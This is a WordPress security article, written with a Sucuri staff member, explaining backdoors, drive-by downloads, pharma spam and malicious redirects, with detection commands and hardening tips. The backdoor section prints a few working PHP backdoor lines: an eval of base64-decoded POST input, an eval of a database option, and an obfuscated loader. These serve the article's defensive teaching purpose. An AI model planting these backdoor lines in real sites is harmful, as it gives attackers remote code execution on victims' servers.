Common WordPress Malware Infections

• 23 min read
• WordPress, Techniques, Security
• Share on Twitter, LinkedIn

About The Author

Siobhan McKeown is the author of A Life Lived Remotely: Being and Work in the Digital Age and COO of Human Made, a global enterprise WordPress agency and the … More about Siobhan ↬

Email Newsletter

Your (smashing) email

Weekly tips on front-end & UX.
Trusted by 200,000+ folks.

WordPress security is serious business. Exploits of vulnerabilities in WordPress’ architecture have led to mass compromises of servers through cross-site contamination. WordPress’ extensibility increases its vulnerability; plugins and themes house flawed logic, loopholes, Easter eggs, backdoors and a slew of other issues. Firing up your computer to find that you’re supporting a random cause or selling Viagra can be devastating.

In WordPress’ core, all security issues are quickly addressed; the WordPress team is focused on strictly maintaining the integrity of the application. The same, however, cannot be said for all plugins and themes.

The focus of this post is not to add to the overwhelming number of WordPress security or WordPress hardening posts that you see floating around the Web. Rather, we’ll provide more context about the things you need to protect yourself from. What hacks are WordPress users particularly vulnerable to? How do they get in? What do they do to a WordPress website? In this lengthy article, we’ll cover backdoors, drive-by downloads, pharma hack and malicious redirects. Please notice that some anti-virus apps report this article as malware, probably because it contains examples of the code that should be avoided. This article does not contain any malware itself, so the alert must be based on heuristic analysis.

Over the past two years, Web malware has grown around 140%. At the same time, WordPress has exploded in popularity as a blogging platform and CMS, powering close to 17% of websites today. But that popularity comes at a price; it makes WordPress a target for Web-based malware. Why? Simple: its reach provides the opportunity for maximum impact. Sure, popularity is a good thing, but it also makes us WordPress users vulnerable.

A Bit About Our Security Expert: Meet Tony

Lacking the technical knowledge needed to go into great depth, I brought on board a co-author to help me out. Bringing the technical information is Tony Perez, Chief Operations and Financial Officer of Sucuri Security. Sucuri Security provides detection, alerting and remediation services to combat Web-based malware. In other words, it works on websites that have been compromised. This means that Tony has the background, statistics and, most importantly, knowledge to go really in depth on malware issues that affect WordPress users.

I asked Tony how he got into Web security:

“I think it goes back to 2009. I was managing and architecting large-scale enterprise solutions for Department of Defense (DoD) clients and traveling the world. In the process, there was a little thing called compliance with the Security Technical Implementation Guide (STIG), set forth by the Defense Information Systems Agency (DISA). I know, a mouthful, but it’s how we did things in the DoD; if it didn’t have an acronym, it didn’t belong.

That being said, it wasn’t until I joined Dre and Daniel at Sucuri Security, in early 2011, that I really began to get what I consider to be any resemblance of InfoSec chops.”

Armed with Tony’s technical knowledge, we’ll look at the main issues that affect WordPress users today. But before we get into details, let’s look at some of the reasons why WordPress users might be vulnerable.

What Makes WordPress Vulnerable?

Here’s the simple answer. Old versions of WordPress, along with theme and plugin vulnerabilities, multiplied by the CMS’ popularity, with the end user thrown into the mix, make for a vulnerable website.

Let’s break that down.

The first issue is outdated versions of WordPress. Whenever a new WordPress version is released, users get a nagging message, but plenty of users have gotten pretty good at ignoring the nag. Core vulnerabilities in themselves are rarely an issue. They do exist; proof can be found in the most recent 3.3.3 and 3.4.1 releases. WordPress’ core team has gotten pretty good at rolling out security patches quickly and efficiently, so the risk of exploitation is minimal, provided that WordPress users update their installation. This, unfortunately, is the crux of the problem: WordPress users ignore the message. And it’s not just inexperienced and casual WordPress users who aren’t updating. A recent high-profile hack was of the Reuters website, which was running version 3.1.1 instead of the current 3.4.1.

Vulnerabilities in plugins and themes is another issue. The WordPress repository has 20,000 plugins and is growing. The plugins are of varying quality; some of them inevitably have security loopholes, while others are outdated. On top of that, consider all of the themes and plugins outside of the repository, including commercial products that are distributed for free on Warez websites and come packed with malware. Google is our favorite search engine, but it’s not so hot for finding quality WordPress themes.

Then, there’s popularity. WordPress is popular, without a doubt. Around 700 million websites were recorded as using WordPress in May of this year. This popularity means that if a hacker can find a way into one WordPress website, they have potentially millions of websites for a playground. They don’t need to hack websites that use the current version of WordPress; they can scan for websites that use old insecure versions and hack those.

Finally and most significantly, the biggest obstacle facing WordPress users is themselves. Tony in his own words:

“For whatever reason, there is this perception among WordPress users that the hardest part of the job was paying someone to build the website and that once its built, that’s it, it’s done, no further action required. Maybe that was the case seven years ago, but not today.

WordPress’ ease of use is awesome, but I think it provides a false sense of assurances to end users and developers alike. I think, though, this perception is starting to change.”

From Tony’s experience at Sucuri Security, the most common vulnerabilities to website exploits are:

• Out of date software,
• Poor credential management,
• Poor system administration,
• Soup-kitchen servers,
• Lack of Web knowledge,
• Corner-cutting.

A bit of time and education are all it takes to remedy these issues and to keep your WordPress website secure. This means not just ensuring that you as a WordPress expert are educated, but ensuring that the clients you hand over websites to are as well.

The Evolution Of Attacks

As the Internet has evolved, the nature of hacking has evolved with it. Hacking started out as a very different animal. Back in the day, it was about showing your technical prowess by manipulating a website to do things beyond the webmaster’s intentions; this was often politically motivated. One day you’d wake up and find yourself supporting the opposition in Nigeria or Liberia. These days, hacking is all about money. The recent DNSChanger malware (i.e. the “Internet Doomsday” attack), for example, let hackers rake in close to $14 million before being stopped by the FBI and Estonian police last November.

Another hacking technology that has emerged is malnets. These distributed malware networks are used for everything including identify theft, DDoS attacks, spam distribution, drive-by downloads, fake AV and so on. The hackers automate their attacks for maximum exposure.

Automation through the use of bots is not their only mechanism. Today you also have malware automation: the use of tools to quickly generate a payload (i.e. the infection), allowing the attacker to focus strictly on gaining access to the environment. Once the hacker has access to the environment, they copy and paste in the auto-generated payload. One of the more prevalent automation tools is the Blackhole Exploit Kit. This and many other kits can be purchased online for a nominal fee. That fee buys sustainment services and keeps the kit updated with new tools for the latest vulnerabilities. It’s a true enterprise.

Common WordPress Malware Issues

Thousands of malware types and infections are active on the Internet; fortunately, not all apply to WordPress. For the rest of this post, we’ll look at four of the most common attacks on WordPress users:

• Backdoors,
• Drive-by downloads,
• Pharma hacks,
• Malicious redirects.

Backdoor

A backdoor lets an attacker gain access to your environment via what you would consider to be abnormal methods — FTP, SFTP, WP-ADMIN, etc. Hackers can access your website using the command line or even using a Web-based GUI like this:

Backdoors are exceptionally dangerous. Left unchecked, the most dangerous can cause havoc on your server. They are often attributed to cross-site contamination incidents — i.e. when websites infect other websites on the same server.

How am I attacked?

The attack often happens because of out-of-date software or security holes in code. A vulnerability well known to the WordPress community was found in the TimThumb script that was used for image resizing. This vulnerability made it possible for hackers to upload a payload that functioned as a backdoor.

Here is an example of a scanner looking specifically for vulnerable versions of TimThumb:

What does it look like?

Like most infections, this one can be encoded, encrypted, concatenated or some combination thereof. However, it’s not always as simple as looking for encrypted code; there are several instances in which it looks like legitimate code. Here is an example:

Another example:

Below is a case where the content is hidden in the database and targets WordPress installations:

return @eval(get_option(’blogopt1’));

And here is a very simple backdoor that allows any PHP request to execute:

eval (base64_decode($_POST["php"]));

Here is an example of a messy backdoor specifically targeting the TimThumb vulnerability:

Here is another backdoor that commonly affects WordPress installations, the Filesman:

How can I tell whether I’m infected?

Backdoors come in all different sizes. In some cases, a backdoor is as simple as a file name being changed, like this:

• wtf.php
• wphap.php
• php5.php
• data.php
• 1.php
• p.php

In other cases, the code is embedded in a seemingly benign file. For instance, this was found in a theme’s index.php file, embedded in legitimate code:

Backdoors are tricky. They constantly evolve, so there is no definitive way to say what you should look for.

How do I prevent it?

While backdoors are difficult to detect, preventing them is possible. For the hack to be effective, your website needs an entry point that is accessible to the hacker. You can close backdoors by doing the following:

1. Prevent access. Make your environment difficult to access. Tony recommends a three-pronged approach to locking down wp-admin:
   • Block IPs,
   • Two-factor authentication,
   • Limited access by default.This will make it extremely difficult for anyone except you to access your website.
2. Kill PHP execution. Often the weakest link in any WordPress chain is the /uploads/ directory. It is the only directory that needs to be writable in your installation. You can make it more secure by preventing anyone from executing PHP. It’s simple to do. Add the following to the .htaccess file at the root of the directory. If the file doesn’t exist, create it.

<Files *.php>
Deny from All
</Files>

How is it cleaned?

Once you have found a backdoor, cleaning it is pretty easy — just delete the file or code. However, finding the file can be difficult. On his blog, Canton Becker provides some advice on ways to scour your server for backdoors. There is no silver bullet for backdoors, though, or for any infection — backdoors can be simple or complex. You can try doing some basic searches for eval and base64_decode, but if your code looks like what’s below, then knowing what to look for becomes more difficult:

$XKsyG=’as’;$RqoaUO=’e’;$ygDOEJ=$XZKsyG.’s’.$RqoaUO.’r’.’t’;$joEDdb=’b’.$XZKsyG.
$RqoaUO.(64).’_’.’d’.$RqoaUO.’c’.’o’.’d’.$RqoaUO;@$ygDOEJ(@$joEDdb(‘ZXZhbChiYXN
lNjRfZGVjb2RlKCJhV1lvYVhOelpY…

If you are familiar with the terminal, you could log into your website using SSH and try certain methods. The most obvious and easiest method is to look for this:

# grep -ri "eval" [path]

Or for this:

# grep -ri "base64_decode" [path]

The r ensures that all files are scanned, while the i ensures that the scan is case-insensitive. This is important because you could find variations of eval: Eval, eVal, evAl, evaL or any other permutation. The last thing you want is for your scan to fall short because you were too specific.

Look for recently modified files:

find -type f -ctime -0 | more

The -type looks for files, and -ctime restricts your scan to the last 24 hours. You can look at the last 24 or 48 hours by specifying -1 or -2, respectively.

Another option is to use the diff command. This enables you to detect the differences between files and directories. In this case, you would use it for directories. For it to be successful, though, you need to have clean copies of your installation and themes. So, this works only if you have a complete backup of your website.

# diff -r /[path]/[directory] /[path]/[directory] | sort

The -r option is recursive through all directories, and the sort command sorts the output and makes it easier to read. The key here is to quickly identify the things that don’t belong so that you can run integrity checks. Anything you find that is in the live website’s directory but not in the backup directory warrants a second look.

Drive-By Downloads

A drive-by download is the Web equivalent of a drive-by shooting. Technically, it is usually embedded on your website via some type of script injection, which could be associated with a link injection.

The point of a drive-by download is often to download a payload onto your user’s local machine. One of the most common payloads informs the user that their website has been infected and that they need to install an anti-virus product, as shown here:

How does the attack get in?

There are a number of ways an attack can get in. The most common causes are:

• Out of date software,
• Compromised credentials (wp-admin, FTP),
• SQL injection.

What does it look like?

Below are a number of examples of link injections that lead to some type of drive-by download attack:

And this:

And this:

More recently, drive-by downloads and other malware have been functioning as conditional malware — designed with rules that have to be met before the infection presents itself. You can find more information about how conditional malware works in Sucuri’s blog post “Understanding Conditional Malware.”

How can I tell whether I’m infected?

Using a scanner such as SiteCheck to see whether you are infected is possible. Scanners are pretty good at picking up link injections. Another recommendation is to sign up for Google Webmaster Tools and verify your website. In the event that Google is about to blacklist your website, it would email you beforehand notifying you of the problem and giving you a chance to fix it. The free service could pay dividends if you’re looking to stay proactive.

Outside of using a scanner, the difficulty in identifying an infection will depend on its complexity. When you look on the server, it will look something like this:

The good news is that such an infection has to be somewhere where an external output is generated. The following files are common places where you’ll find link injections:

• wp_blog_header.php (core file)
• index.php (core file)
• index.php (theme file)
• function.php (theme file)
• header.php (theme file)
• footer.php (theme file)

About 6 times out of 10, the infection will be in one of those files. Also, your anti-virus software might detect a payload being dropped onto your computer when you visit your website — another good reason to run anti-virus software locally.

Sucuri has also found link injections embedded in posts and pages (as opposed to an originating PHP file), as well as in text widgets. In such cases, scrub your database and users to ensure that none of your accounts have been compromised.

How is it cleaned?

Cleaning can be a challenge and will depend on your technical skill. You could use the terminal to find the issue.

If you have access to your server via SSH, you’re in luck. If you don’t, you can always download locally. Here are the commands that will be of most use to you when traversing the terminal:

• CURL Used to transfer data with a URL syntax.
• FIND Search by file or directory name.
• GREP Search for content in files.

For example, to search all of your files for a particular section of the injection, try something like this:

$ grep -r "https://objectcash.in" .

Including the following characters is important:

• " Maintains the integrity of the search. Using it is important when you’re searching for special characters because some characters have a different meaning in the terminal.
• -r Means “recursive” and will traverse all directories and files.

You can also refine your search by file type:

$ grep --include ".php" -r "https://objectcash.in" .

Enabling the –include option allows you to specify file type; in this instance, only PHP files.

These are just a few tricks. Once you’ve located the infection, you have to ensure that you remove every instance of it. Leaving just one could lead to serious frustration in the future.

Pharma Hack

Pharma hack is one of the most prevalent infections around. It should not be confused with malware; it’s actually categorized as SPAM — “stupid pointless annoying messages.” If you’re found to be distributing SPAM, you run the risk of being flagged by Google with the following alert:

This site may be compromised!!

This is what it will look like on Google’s search engine results page (SERP):

How am I attacked?

The pharma SPAM injection makes use of conditional malware that applies rules to what the user sees. So, you may or may not see the page above, depending on various rules. This is controlled via code on the server, such as the following:

Some injections are intelligent enough to create their own nests within your server. The infection makes use of $_SERVER[“HTTP_REFERER”], which redirects the user to an online store that is controlled by the attacker to generate revenue. Here is an example of such a monetized attack:

Like most SPAM-type infections, pharma hack is largely about controlling traffic and making money. Money can be made through click-throughs and/or traffic. Very rarely does a pharma hack injection redirect a user to a malicious website that contains some additional infection, as with a drive-by download attempt.

This is why it’s so difficult to detect. It’s not as simple as querying for “Cialis” or “Viagra,” although that’d be awesome. Most people would be surprised by the number of legitimate pharmaceutical companies that exist and publish ads on the Web. This adds to the challenge of detecting these infections.

What does it look like?

Pharma hack has evolved, which has made it more difficult to detect. In the past, SPAM injections would appear in your pages, where they were easy to find and, more importantly, remove.

Today, however, pharma hack is quite different. It uses a series of backdoors, sprinkled with intelligence, to detect where traffic is coming from, and then it tells the infection how to respond. Again, it can behave as conditional malware. More and more, pharma hack reserves its payload for Google’s bots; the goal is to make it onto Google’s SERPs. This provides maximum exposure and the biggest monetary return for the hackers.

Here’s an image of an old pharma hack injecting SPAM into a blog’s tags:

Another version of pharma hack was injected in such a way that when the user clicks on an apparently benign link (such as “Home,” “About” or “Contact”), it redirects the user to a completely different page. Somewhere like this:

How do I tell whether I’m infected?

Identifying an infection can be very tricky. In earlier permutations, identifying an infection was as easy as navigating your website, looking at your ads, links, posts and pages, and quickly determining whether you’ve been infected. Today, there are more advanced versions that are harder to find.

The good news for diligent webmasters is that by enabling some type of auditing or file monitoring on your WordPress website, you’ll be able to see when new files have been added or when changes have been made. This is by far one of the most effective methods of detection.

You could try using free scanners, such as SiteCheck. Unfortunately, many HTTP scanners, including Sucuri’s, struggle with the task because pharma hack is not technically malicious, so determining the validity of content can be difficult for a scanner.

How is it cleaned?

First, identify the infected files, and then remove them. You can use the commands we’ve outlined above, and you can make queries to your website via the terminal to quickly see whether you’re serving any pharma SPAM to your visitors.

When combatting pharma hacks, one of the most useful commands is grep. For example, to search for any of the ads or pharma references being flagged, run this:

# egrep -wr 'viagra|pharmacy' .

By using egrep, we’re able to search multiple words at the same time if necessary, thus saving you time in this instance.

Or try something like this:

# grep -r "https://canadapharmacy.com" .

This only works if the infection is not encoded, encrypted or concatenated.

Another useful method is to access your website via different user agents and referrers. Here is an example of what one website looked like when using a Microsoft IE 6 referrer:

Try Bots vs Browsers to check your website through a number of different browsers.

Terminal users can also use CURL:

# curl -A "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)" https://somesite.com

How do I prevent it?

Preventing a pharma hack can be tricky. Sucuri has found that the hack regularly exploits vulnerable out-of-date software. However, your out-of-date WordPress installation is not necessarily the problem. Even if you are up to date, another outdated installation on the same server could be vulnerable to the infection. If the real payload resides elsewhere on your server, not within your website’s directory, then catching it can be exceptionally difficult.

Here is an example of what you might be looking for if you can’t find the infection in your own installation:

To prevent a pharma hack, you should do two things:

1. Keep your software up to date,
2. Steer clear of soup-kitchen servers.

Malicious Redirects

A malicious redirect sends a user to a malicious website. In 2010, 42,926 new malicious domains were detected. In 2011, this number grew to 55,294. And that just includes primary domains, not all of their subdomains.

When a visitor is redirected to a website other than the main one, the website may or may not contain a malicious payload. Suppose you have a website at myhappysite.com; when someone visits it, the website could take the visitor to meansite.com/stats.php, where the malicious payload is in that website’s stats.php file. Or it could be a harmless website with just ads and no malicious payload.

How am I attacked?

As with many malware attacks, it comes down to access. The malicious redirect could be generated by a backdoor. The hacker would scan for a vulnerability, such as TimThumb or old versions of WordPress and, when they find it, upload a payload that functions as a backdoor.

What does it look like?

Detecting a redirect is not as complex as detecting some of the other infections. It is often found in your .htaccess file and looks something like this:

Or like this:

There may be instances where a redirect is encoded and resides in one of your PHP files. If so, it will usually be found in your header.php, footer.php or index.php file; it has also been known to reside in the root index.php file and in other core template files. It is not always encoded, but if it is, it will look something like this:

How do I tell if I am infected?

There are a few ways to check for infections. Here are some suggestions:

• Use a free scanner, such as SiteCheck. They very rarely miss malicious redirects.
• Test using Bots vs Browser.
• Listen to your users. You might not detect the redirect, but sometimes a user will alert you to it.

If a user does detect a problem, ask them pertinent questions to help diagnose the problem:

• What operating system are they using?
• What browser(s) are they using, and which version(s)?

The more information you get from them, the better you can replicate the issue and find a fix.

How is it cleaned?

Malicious redirects are one of the easiest infections to clean. Here’s a good starting point:

1. Open your .htaccess file.
2. Copy any rewrite rules that you have added yourself
3. Identify any malicious code, like the sample above, and remove it from the file. Scroll all the way to the bottom of .htaccess to make sure there aren’t any error directives pointing to the same infection.

Be sure to also look for all .htaccess files on the server. Here is one quick way to see how many exist on your server:

# find [path] -name .htaccess -type f | wc -l

And this will tell you where exactly those files are:

# find [path] -name .htaccess -type f | sort

The infection is not always restricted there, though. Depending on the infection, you might also find the redirect encoded and embedded in a file such as index.php or header.php.

Alarmingly, these infections can replicate across all of your .htaccess files. The backdoor responsible for it can also be used to create multiple .htaccess files across all of your directories, all with the same infection. Removing the infection can feel like an uphill struggle, and sometimes cleaning every file you can find is not enough. There are even cases where a file is created outside of the Web directory. The lesson is always look outside of your Web directory as well as within it.

How do I prevent it?

A quick and easy method is to change ownership of the file, or to reduce the file’s permissions so that only the owner has permission to modify it. However, if your root account is compromised, that won’t do you much good.

The most important file to take care of is .htaccess. Check out the tutorial “Protect Your WordPress Site with .htaccess” for tips on doing that.

Conclusion

There you have it: four prevalent attacks that cause havoc across many WordPress installations today. You might not feel better if you get hacked, but hopefully, with this bit of knowledge, you’ll feel more confident that the hack can be cleaned and that your website can be returned to you. Most importantly, if you take one thing away from this: always keep WordPress updated.

Tony’s Top Ten Security Tips

1. Get rid of generic accounts, and know who is accessing your environment.
2. Harden your directories so that attackers can’t use them against you. Kill PHP execution.
3. Keep a backup; you never know when you’ll need it.
4. Connect securely to your server. SFTP and SSH is preferred.
5. Avoid soup-kitchen servers. Segment between development, staging and production.
6. Stay current with your software — all of it.
7. Kill unnecessary credentials, including for FTP, wp-admin and SSH.
8. You don’t need to write posts as an administrator, nor does everyone need to be an administrator.
9. If you don’t know what you’re doing, leverage a managed WordPress hosting provider.
10. IP filtering + Two-factor authentication + Strong credentials = Secure access

Tony’s Most Useful Security Plugins

• Sucuri Sitecheck Malware Scanner This plugin from Tony and the Sucuri crew enables full malware and blacklist scanning in your WordPress dashboard, and it includes a powerful Web application firewall (WAF).
• Limit Login Attempts Limits the number of login attempts possible both through normal login as well as using auth cookies.
• Two-Factor Authentication This plugin enables Duo’s two-factor authentication, using a service such as a phone callback or SMS message.
• Theme-Check Test your theme to make sure it’s up to spec with theme review standards.
• Plugin-Check Does what Theme-Check does but for plugins.

Security Tools

• Sucuri SiteCheck
• Unmask Parasites scanner

Security Resources

• Sucuri Blog
• Website Security at Perishable Press
• Unmask Parasites Blog
• WPsecure
• Locking Down WordPress, Michael Pick

Useful Security Articles

• “10 Useful WordPress Security Tweaks,” Jean-Baptiste Jung
• “10 Steps to Secure Your WordPress Installation,” Fouad Matin
• “Google Blacklist Warnings: Something’s Not Right Here,” Tony Perez
• “Hardening WordPress,” WordPress Codex
• “How to Stop the Hacker and Ensure Your Site Is Locked,” Tony Perez
• “Website Malware Removal: WordPress Tips and Tricks,” Tony Perez

Further Reading

• How To Secure Your WordPress Website
• 10 Useful WordPress Security Tweaks
• A Comprehensive Checklist To Creating The Perfect WordPress Website
• Guide To WordPress Coding Standards

(al, mrn)